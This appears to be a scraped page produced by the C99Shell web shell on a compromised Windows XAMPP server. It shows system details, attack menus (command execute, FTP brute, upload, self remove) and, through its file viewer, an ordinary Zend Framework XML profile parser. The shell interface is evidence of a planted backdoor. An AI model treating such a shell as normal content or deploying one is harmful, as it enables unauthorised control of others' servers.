!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\php\PEAR\Zend\Tool\Project\Profile\FileParser\   drwxrwxrwx
Free 4.94 GB of 239.26 GB (2.07%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Xml.php (6.61 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Tool
 * @subpackage Framework
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: Xml.php 18951 2009-11-12 16:26:19Z alexander $
 */

require_once 'Zend/Tool/Project/Profile/FileParser/Interface.php';
require_once 
'Zend/Tool/Project/Context/Repository.php';
require_once 
'Zend/Tool/Project/Profile.php';
require_once 
'Zend/Tool/Project/Profile/Resource.php';

/**
 * @category   Zend
 * @package    Zend_Tool
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Tool_Project_Profile_FileParser_Xml implements Zend_Tool_Project_Profile_FileParser_Interface
{

    
/**
     * @var Zend_Tool_Project_Profile
     */
    
protected $_profile null;

    
/**
     * @var Zend_Tool_Project_Context_Repository
     */
    
protected $_contextRepository null;

    
/**
     * __construct()
     *
     */
    
public function __construct()
    {
        
$this->_contextRepository Zend_Tool_Project_Context_Repository::getInstance();
    }

    
/**
     * serialize()
     *
     * create an xml string from the provided profile
     *
     * @param Zend_Tool_Project_Profile $profile
     * @return string
     */
    
public function serialize(Zend_Tool_Project_Profile $profile)
    {

        
$profile = clone $profile;

        
$this->_profile $profile;
        
$xmlElement = new SimpleXMLElement('<projectProfile />');

        
self::_serializeRecurser($profile$xmlElement);

        
$doc = new DOMDocument('1.0');
        
$doc->formatOutput true;
        
$domnode dom_import_simplexml($xmlElement);
        
$domnode $doc->importNode($domnodetrue);
        
$domnode $doc->appendChild($domnode);

        return 
$doc->saveXML();
    }

    
/**
     * unserialize()
     *
     * Create a structure in the object $profile from the structure specficied
     * in the xml string provided
     *
     * @param string xml data
     * @param Zend_Tool_Project_Profile The profile to use as the top node
     * @return Zend_Tool_Project_Profile
     */
    
public function unserialize($dataZend_Tool_Project_Profile $profile)
    {
        if (
$data == null) {
            throw new 
Exception('contents not available to unserialize.');
        }

        
$this->_profile $profile;

        
$xmlDataIterator = new SimpleXMLIterator($data);

        if (
$xmlDataIterator->getName() != 'projectProfile') {
            throw new 
Exception('Profiles must start with a projectProfile node');
        }


        
$this->_unserializeRecurser($xmlDataIterator);

        
$this->_lazyLoadContexts();

        return 
$this->_profile;

    }

    
/**
     * _serializeRecurser()
     *
     * This method will be used to traverse the depths of the structure
     * when *serializing* an xml structure into a string
     *
     * @param array $resources
     * @param SimpleXmlElement $xmlNode
     */
    
protected function _serializeRecurser($resourcesSimpleXmlElement $xmlNode)
    {
        
// @todo find a better way to handle concurrency.. if no clone, _position in node gets messed up
        //if ($resources instanceof Zend_Tool_Project_Profile_Resource) {
        //    $resources = clone $resources;
        //}

        
foreach ($resources as $resource) {

            if (
$resource->isDeleted()) {
                continue;
            }

            
$resourceName $resource->getContext()->getName();
            
$resourceName[0] = strtolower($resourceName[0]);

            
$newNode $xmlNode->addChild($resourceName);

            
//$reflectionClass = new ReflectionClass($resource->getContext());

            
if ($resource->isEnabled() == false) {
                
$newNode->addAttribute('enabled''false');
            }

            foreach (
$resource->getPersistentAttributes() as $paramName => $paramValue) {
                
$newNode->addAttribute($paramName$paramValue);
            }

            if (
$resource->hasChildren()) {
                
self::_serializeRecurser($resource$newNode);
            }

        }

    }


    
/**
     * _unserializeRecurser()
     *
     * This method will be used to traverse the depths of the structure
     * as needed to *unserialize* the profile from an xmlIterator
     *
     * @param SimpleXMLIterator $xmlIterator
     * @param Zend_Tool_Project_Profile_Resource $resource
     */
    
protected function _unserializeRecurser(SimpleXMLIterator $xmlIteratorZend_Tool_Project_Profile_Resource $resource null)
    {

        foreach (
$xmlIterator as $resourceName => $resourceData) {

            
$contextName $resourceName;
            
$subResource = new Zend_Tool_Project_Profile_Resource($contextName);
            
$subResource->setProfile($this->_profile);

            if (
$resourceAttributes $resourceData->attributes()) {
                
$attributes = array();
                foreach (
$resourceAttributes as $attrName => $attrValue) {
                    
$attributes[$attrName] = (string) $attrValue;
                }
                
$subResource->setAttributes($attributes);
            }

            if (
$resource) {
                
$resource->append($subResourcefalse);
            } else {
                
$this->_profile->append($subResource);
            }

            if (
$this->_contextRepository->isOverwritableContext($contextName) == false) {
                
$subResource->initializeContext();
            }

            if (
$xmlIterator->hasChildren()) {
                
self::_unserializeRecurser($xmlIterator->getChildren(), $subResource);
            }
        }
    }

    
/**
     * _lazyLoadContexts()
     *
     * This method will call initializeContext on the resources in a profile
     * @todo determine if this method belongs inside the profile
     *
     */
    
protected function _lazyLoadContexts()
    {

        foreach (
$this->_profile as $topResource) {
            
$rii = new RecursiveIteratorIterator($topResourceRecursiveIteratorIterator::SELF_FIRST);
            foreach (
$rii as $resource) {
                
$resource->initializeContext();
            }
        }

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--